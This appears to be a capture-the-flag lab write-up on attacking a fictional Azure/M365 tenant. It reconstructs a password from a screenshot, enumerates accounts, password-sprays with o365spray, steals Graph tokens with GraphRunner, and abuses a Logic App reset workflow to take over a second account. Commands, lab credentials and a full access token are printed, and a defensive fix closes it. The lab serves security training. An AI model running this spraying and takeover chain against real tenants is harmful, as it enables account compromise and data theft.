8 minutes
Pwned Labs - Abuse Azure Logic App Automation
Abuse Azure Logic App Automation
Scenario
Our red team has been conducting an open-source intelligence gathering operation focused on our organization. During this process, they uncovered a potentially concerning social media post made by one of our newly appointed managers. The post appears to contain information that could be leveraged by malicious actors. You’ve been assigned to investigate this discovery further. Your task is to analyze the provided social media post and assess its potential for establishing an initial foothold in our systems. We need you to explore possible attack vectors, evaluate the risk to our organization, and determine how this information might be exploited by potential adversaries.
Learning Outcomes
- Enumeration and exfiltration of information from M365
- Abuse Azure Logic Apps automation
Real World Context
Modern organizations face significant security risks from two primary sources: employee oversharing on social media and hastily implemented internal automation processes. Social media platforms often become inadvertent sources of valuable information for threat actors, potentially facilitating initial access to organizational systems.
This risk is compounded by the increasing pressure to streamline operations through automation, leading to the rapid development of internal processes that may lack robust security measures. These internal automation projects, frequently treated as side tasks with limited resources and expertise, often fulfill basic functional requirements but fall short of the security standards applied to external-facing products. The combination of easily accessible information through social media and vulnerable internal automation creates a complex security landscape that malicious actors can exploit.
Attack
The attack starts with OSINT and a Social Media post from Ryan Lin, an employee of Mega Big Tech on LinkedIn expressing excitement about joining the company and also his impending Azure Exam and we can see the image shared below:
When looking at this image there is a lot of information that shouldn’t be shared on social medial, but what really catches the eye is the text in yellow about the use of username and password in the command line. If you look closely you can see that the image screenshot hasn’t fully obscured the bottom of the command. If we use a tool like Gimp, we can zoom in and we see the lower portion of the characters of the password as shown in the below image:
This is like a game of Hangman with some analysis of the shapes of the character. Let’s break them down:
Position 1: s, S Could be other characters like c,b or d; however, given the straight cut on the left edge, I will stick with s or S Position 2: u, a Position 3: p Position 4: e, c Position 5: r, l, t Position 6: R Position 7: y Position 8: u, a Position 9: n Position 10: . or ! or ?
When you factor in password complexity rules and that fact that most of us are lazy when it comes to trying to remember complex passwords, it leaves us with a reasonably short list that we could initially start with and we will save them to passwords.txt
superRyan.
superRyan!
superRyan?
SuperRyan.
SuperRyan!
SuperRyan?
Now that we have a Name and possible password combinations, time to generate a list of potential usernames, and for that we will use Username Anarchy passing in the first and last name and then piping it to VIM
./username-anarchy ryan lin | vim -
From within VIM then press Ctrl+v G $ A
and type in ‘@megabigtech.com’ and Esc. Then :w usernames.txt
to save the output.
Whilst it would be fair to assume that they are using M365, we can quickly validate that with a DNS query that confirms that they are using M365
❯ dig megabigtech.com +noall +answer MX
megabigtech.com. 3600 IN MX 0 megabigtech-com.mail.protection.outlook.com.
Now that we have gathered all the required information we will determine with of the emails are valid using o365enum
and we can see that ryan.lin@megabigtech.com
as indicated by 1, is valid.
❯ python3 /opt/tools/o365enum/o365enum.py -u usernames.txt -m office.com
username,valid
ryan@megabigtech.com,0
ryanlin@megabigtech.com,0
ryan.lin@megabigtech.com,1
ryanl@megabigtech.com,0
r.lin@megabigtech.com,0
rlin@megabigtech.com,0
lryan@megabigtech.com,0
l.ryan@megabigtech.com,0
linr@megabigtech.com,0
lin@megabigtech.com,0
lin.r@megabigtech.com,0
lin.ryan@megabigtech.com,0
rl@megabigtech.com,0
We now doing password spraying and we have got a hit and we now have a valid username and password.
❯ python3 /opt/tools/o365spray/o365spray.py --spray -u ryan.lin@megabigtech.com -P passwords.txt --lockout 1 --domain megabigtech.com
*** O365 Spray ***
>----------------------------------------<
> version : 3.0.4
> domain : megabigtech.com
> spray : True
> username : ryan.lin@megabigtech.com
> passfile : passwords.txt
> count : 1 passwords/spray
> lockout : 1.0 minutes
> validate_module: getuserrealm
> spray_module : oauth2
> rate : 10 threads
> poolsize : 10000
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2024-11-17 16:25:55
>----------------------------------------<
[2024-11-17 16:25:55,833] info | Validating: megabigtech.com
[2024-11-17 16:25:56,829] info | [VALID] The following domain appears to be using O365: megabigtech.com
[2024-11-17 16:25:56,830] info | Running password spray against 1 users.
[2024-11-17 16:25:56,831] info | Password spraying the following passwords: ['superRyan.']
[INVALID] ryan.lin@megabigtech.com:superRyan.
[*] Next spray in: 0:00:00
[2024-11-17 16:26:57,626] info | Password spraying the following passwords: ['superRyan!']
[2024-11-17 16:26:58,975] info | [VALID] ryan.lin@megabigtech.com:superRyan! (Invalid resource name.)
[2024-11-17 16:26:58,977] info |
With valid credentials, we login via AZ CLI, but we have no access to resources
❯ az login -u ryan.lin@megabigtech.com -p 'superRyan!'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
The following tenants don't contain accessible subscriptions. Use `az login --allow-no-subscriptions` to have tenant level access.
2590ccef-687d-493b-ae8d-441cbab63a72 'Default Directory'
No subscriptions found for ryan.lin@megabigtech.com.
As we know that they are using M365, we will use GraphRunner to login and continue our enumeration. First we need to Import the Module and then authenticate
PS> Import-Module /opt/tools/GraphRunner/GraphRunner.ps1
________ __ _______ by Beau Bullock (@dafthack)
/_______/___________ ______ | |____/_______\__ __ ____ ____ ___________
/___\ __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
\ \_\ \ | \// __ \| |_/ | Y \ | \ | / | \ | \ ___/| | \/
\________/__| (______/__| |___|__|____|___/____/|___|__/___|__/\___| >__|
Do service principals dream of electric sheep?
For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules
PS> Get-GraphTokens
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code SVVMYRAUZ to authenticate.
authorization_pending
Decoded JWT payload:
aud : https://graph.microsoft.com
iss : https://sts.windows.net/2590ccef-687d-493b-ae8d-441cbab63a72/
iat : 1731832452
nbf : 1731832452
exp : 1731836804
acct : 0
acr : 1
aio : ATQAy/8YAAAAmipunBtmwNViINuIXHU5rAZ0LASFc3GGWl3LHcmIgPgDF1F5D8b5r0eIB/s7u+bG
amr : {pwd}
app_displayname : Microsoft Office
appid : d3590ed6-52b3-4102-aeff-aad2292ab01c
appidacr : 0
idtyp : user
ipaddr : 112.204.167.47
name : Ryan Lin
oid : 40677d7c-d381-4d9f-81cb-4985917ff2fa
platf : 5
puid : 10032003D064DB79
rh : 1.AU4A78yQJX1oO0mujUQcurY6cgMAAAAAAAAAwAAAAAAAAAAOAfVOAA.
scp : AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadW
rite DataLossPreventionPolicy.Evaluate Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.Al
l Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Mail
.Send Notes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrinterShare.ReadBasic.
All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tas
ks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWri
te Users.Read
sub : vlgyk0BfEgoeTKY65PuYLNqJNEdmd4JM8L1BA5Tcf2k
tenant_region_scope : EU
tid : 2590ccef-687d-493b-ae8d-441cbab63a72
unique_name : ryan.lin@megabigtech.com
upn : ryan.lin@megabigtech.com
uti : TpB-S401REu7AYAPG6c7AA
ver : 1.0
wids : {b79fbf4d-3ef9-4689-8143-76b194e85509}
xms_idrel : 24 1
xms_tcdt : 1671311182
[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
[!] Your access token is set to expire on: 11/17/2024 17:46:44
We can query the Users Mailbox using either Get-Inbox -Tokens $token -Userid ryan.lin@megabigtech
or Invoke-SearchMailbox -Tokens $tokens -SearchTerm *
, but we will spawn GraphRunnerGUI.html
in a browser and then copy the access key
PS> $tokens.access_token
eyJ0eXAiOiJKV1QiLCJub25jZSI6IkZ6RzJJcGsyUEJrOTBZSkJEb1hwSFl1VFU3SXkzRWxYazlxdEVYdzJYcW8iLCJhbGciOiJSUzI1NiIsIng1dCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCIsImtpZCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWF0IjoxNzMxODMyNDUyLCJuYmYiOjE3MzE4MzI0NTIsImV4cCI6MTczMTgzNjgwNCwiYWNjdCI6MCwiYWNyIjoiMSIsImFpbyI6IkFUUUF5LzhZQUFBQW1pcHVuQnRtd05WaUlOdUlYSFU1ckFaMExBU0ZjM0dHV2wzTEhjbUlnUGdERjFGNUQ4YjVyMGVJQi9zN3UrYkciLCJhbXIiOlsicHdkIl0sImFwcF9kaXNwbGF5bmFtZSI6Ik1pY3Jvc29mdCBPZmZpY2UiLCJhcHBpZCI6ImQzNTkwZWQ2LTUyYjMtNDEwMi1hZWZmLWFhZDIyOTJhYjAxYyIsImFwcGlkYWNyIjoiMCIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjExMi4yMDQuMTY3LjQ3IiwibmFtZSI6IlJ5YW4gTGluIiwib2lkIjoiNDA2NzdkN2MtZDM4MS00ZDlmLTgxY2ItNDk4NTkxN2ZmMmZhIiwicGxhdGYiOiI1IiwicHVpZCI6IjEwMDMyMDAzRDA2NERCNzkiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFPQWZWT0FBLiIsInNjcCI6IkF1ZGl0TG9nLkNyZWF0ZSBBdWRpdExvZy5SZWFkLkFsbCBDYWxlbmRhci5SZWFkV3JpdGUgQ2FsZW5kYXJzLlJlYWQuU2hhcmVkIENhbGVuZGFycy5SZWFkV3JpdGUgQ29udGFjdHMuUmVhZFdyaXRlIERhdGFMb3NzUHJldmVudGlvblBvbGljeS5FdmFsdWF0ZSBEaXJlY3RvcnkuQWNjZXNzQXNVc2VyLkFsbCBEaXJlY3RvcnkuUmVhZC5BbGwgRmlsZXMuUmVhZCBGaWxlcy5SZWFkLkFsbCBGaWxlcy5SZWFkV3JpdGUuQWxsIEdyb3VwLlJlYWQuQWxsIEdyb3VwLlJlYWRXcml0ZS5BbGwgSW5mb3JtYXRpb25Qcm90ZWN0aW9uUG9saWN5LlJlYWQgTWFpbC5SZWFkV3JpdGUgTWFpbC5TZW5kIE5vdGVzLkNyZWF0ZSBPcmdhbml6YXRpb24uUmVhZC5BbGwgUGVvcGxlLlJlYWQgUGVvcGxlLlJlYWQuQWxsIFByaW50ZXIuUmVhZC5BbGwgUHJpbnRlclNoYXJlLlJlYWRCYXNpYy5BbGwgUHJpbnRKb2IuUmVhZFdyaXRlQmFzaWMgU2Vuc2l0aXZlSW5mb1R5cGUuRGV0ZWN0IFNlbnNpdGl2ZUluZm9UeXBlLlJlYWQuQWxsIFNlbnNpdGl2aXR5TGFiZWwuRXZhbHVhdGUgVGFza3MuUmVhZFdyaXRlIFRlYW1NZW1iZXIuUmVhZFdyaXRlLkFsbCBUZWFtc1RhYi5SZWFkV3JpdGVGb3JDaGF0IFVzZXIuUmVhZC5BbGwgVXNlci5SZWFkQmFzaWMuQWxsIFVzZXIuUmVhZFdyaXRlIFVzZXJzLlJlYWQiLCJzdWIiOiJ2bGd5azBCZkVnb2VUS1k2NVB1WUxOcUpORWRtZDRKTThMMUJBNVRjZjJrIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkVVIiwidGlkIjoiMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyIiwidW5pcXVlX25hbWUiOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1cG4iOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1dGkiOiJUcEItUzQwMVJFdTdBWUFQRzZjN0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2lkcmVsIjoiMjQgMSIsInhtc190Y2R0IjoxNjcxMzExMTgyfQ.nCOx4uMXe-WnsKgj-xGsh2jEJZXCfeJIRtyrWjmIT5blS71fEqiIJawFK_bIYqVqvABLyyoo5_6kkcS2xG2qkD5jPhFpYAWZGOTexDdcGsBQDTTYaGNHjxq_d2mUyuq8Twqj4VSPDmeAgdiOTBfrr6N0oJdFYfn4QtPinSVaz-VydQGjavAcSYi4DGZevTZzOtuQfetAd0Ox5Owsxn61piJOK16QbvZBV5_hVdOL2APs4yWhcNVFGWW9C2gXHHu0lWmrnn__ftBsNcqLGi3hwnCCMnPYZBg34AW92L8OPGx9T2HFo_CHu0Iart-IefHpMfB-IdBGu9HGPPeUHrdkcQ
We can then navigate down and see the emails and then click on them individually to open and read the contents
If we click on the email from about Managing Team Passwords, we can see that we have the ability to reset team passwords and the name of the IDAM Manager
There is a link in the email and when we click on that, we are presented with the Team Member Password Reset Guide
As we read through the document, it outlines the process to reset a users password using Microsoft Teams and then the new password will be sent to Discord at the username you provide
We navigate to https://myapplications.microsoft.com/ and sign in and then go to Teams and we will follow the instructions per the guide.
Now that we have reset the password, we can now login as Liana Howe
❯ az login -u liana.howe@megabigtech.com -p '.n0dHAb-QXY?'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
{
"cloudName": "AzureCloud",
"homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"isDefault": true,
"managedByTenants": [],
"name": "Microsoft Azure Sponsorship",
"state": "Enabled",
"tenantDefaultDomain": "megabigtech.com",
"tenantDisplayName": "Default Directory",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
"name": "liana.howe@megabigtech.com",
"type": "user"
}
}
]
❯ az resource list
[
{
"changedTime": "2024-10-14T00:46:25.028841+00:00",
"createdTime": "2024-09-14T10:14:53.530238+00:00",
"extendedLocation": null,
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-20/providers/Microsoft.Logic/workflows/teams-bot-password-reset",
"identity": {
"principalId": "d9181ce3-a106-4add-8c2c-4875a3803410",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"type": "SystemAssigned",
"userAssignedIdentities": null
},
"kind": null,
"location": "eastus",
"managedBy": null,
"name": "teams-bot-password-reset",
"plan": null,
"properties": null,
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-20",
"sku": null,
"tags": {},
"type": "Microsoft.Logic/workflows"
}
]
We run the command az logic workflow list
and this shows the content of the low code solution for automation within Azure. We can filter the output with grep
to get the flag
Defense
There are several weak points in this scenario, but what could have prevented the exploitation chain, where the automation is designed to reset passwords only for direct reports, is for the Logic App to utilize the ‘Office 365 Users’ connector. This connector allows for retrieving manager information, checking to confirm whether the requester is indeed the manager of the user whose password is being reset. If this condition is not met, the automation should be configured to fail, thereby preventing unauthorized password resets.
For more details on implementing this check, refer to the Microsoft documentation on the ‘Get Manager (v2)’ operation: https://learn.microsoft.com/en-us/connectors/office365users/#get-manager-(v2)